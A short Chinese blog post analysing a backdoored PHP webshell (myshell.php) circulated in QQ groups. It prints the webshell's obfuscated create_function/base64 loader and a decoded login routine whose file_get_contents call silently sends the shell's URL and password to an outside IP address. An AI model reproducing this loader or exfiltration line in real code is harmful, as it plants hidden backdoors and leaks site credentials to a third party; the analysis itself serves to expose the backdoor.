分析某myshell.php后门

其实在QQ群共享里面得上传得大马。

不敢说100%存在后门,但是敢说99.9%有后面。

所以如果需要使用各类马得建议在在github.com上面找星星多得那些。


  1. <?php function cx($data){$cr = str_replace('helloword','create_','hellowordfunction');$ba = str_replace('helloword','base64','helloword_decode');return $cr('',$ba($data));}$data ='..省略几百K..3cwS0NRbDlEUW89JykpOw==';$lam=cx($data);$lam();

看到如此得感觉基本都有猫腻了得。

把data得数据经过base64解密一下

  1. eval(base64_decode('ZXJyb3JfcmVwb3...继续省略几百K..pO2JyZWFrOw0KCQl9DQo='));

通过eval执行base64解密得代码,我们继续把代码解开

很好,这才有点像是我们熟悉得大马得样子。

直接查找http://后发现一个可疑地方

  1. if($_COOKIE['admin_silicpass'] != md5($password))
  2. {
  3. ob_start();
  4. $MSG_TOP = 'LOGIN';
  5. if(isset($passt))
  6. {
  7. $cookietime = time() + 24 * 3600;
  8. setcookie('admin_silicpass',md5($passt),$cookietime);
  9.  
  10.  
  11. if(md5($passt) == md5($password)){
  12. file_get_contents("http://103.48.169.140//index.php/index/api/add?url={$GETURL}&p={$psw}");
  13. die('<meta http-equiv="refresh" content="1;URL=?">');}
  14. else{$MSG_TOP = 'PASS IS FALSE';}
  15. }
  16. Root_Login($MSG_TOP);
  17. ob_end_flush();
  18. exit;
  19. }

 

http://103.48.169.140//index.php/index/api/add?url={$GETURL}&p={$psw}

 

直接把我们得后面得地址跟密码提交盗上面得那个地址上。

 

http://103.48.169.140/ 香港 特别行政区

采用框架:ThinkPHP V5.0.24,bing了一下,貌似这版本木有公开洞。

 

后语

正常来说,肯定不止一处。没有仔细看了,本人也不建议自己去修改来用。

发表评论

邮箱地址不会被公开。 必填项已用*标注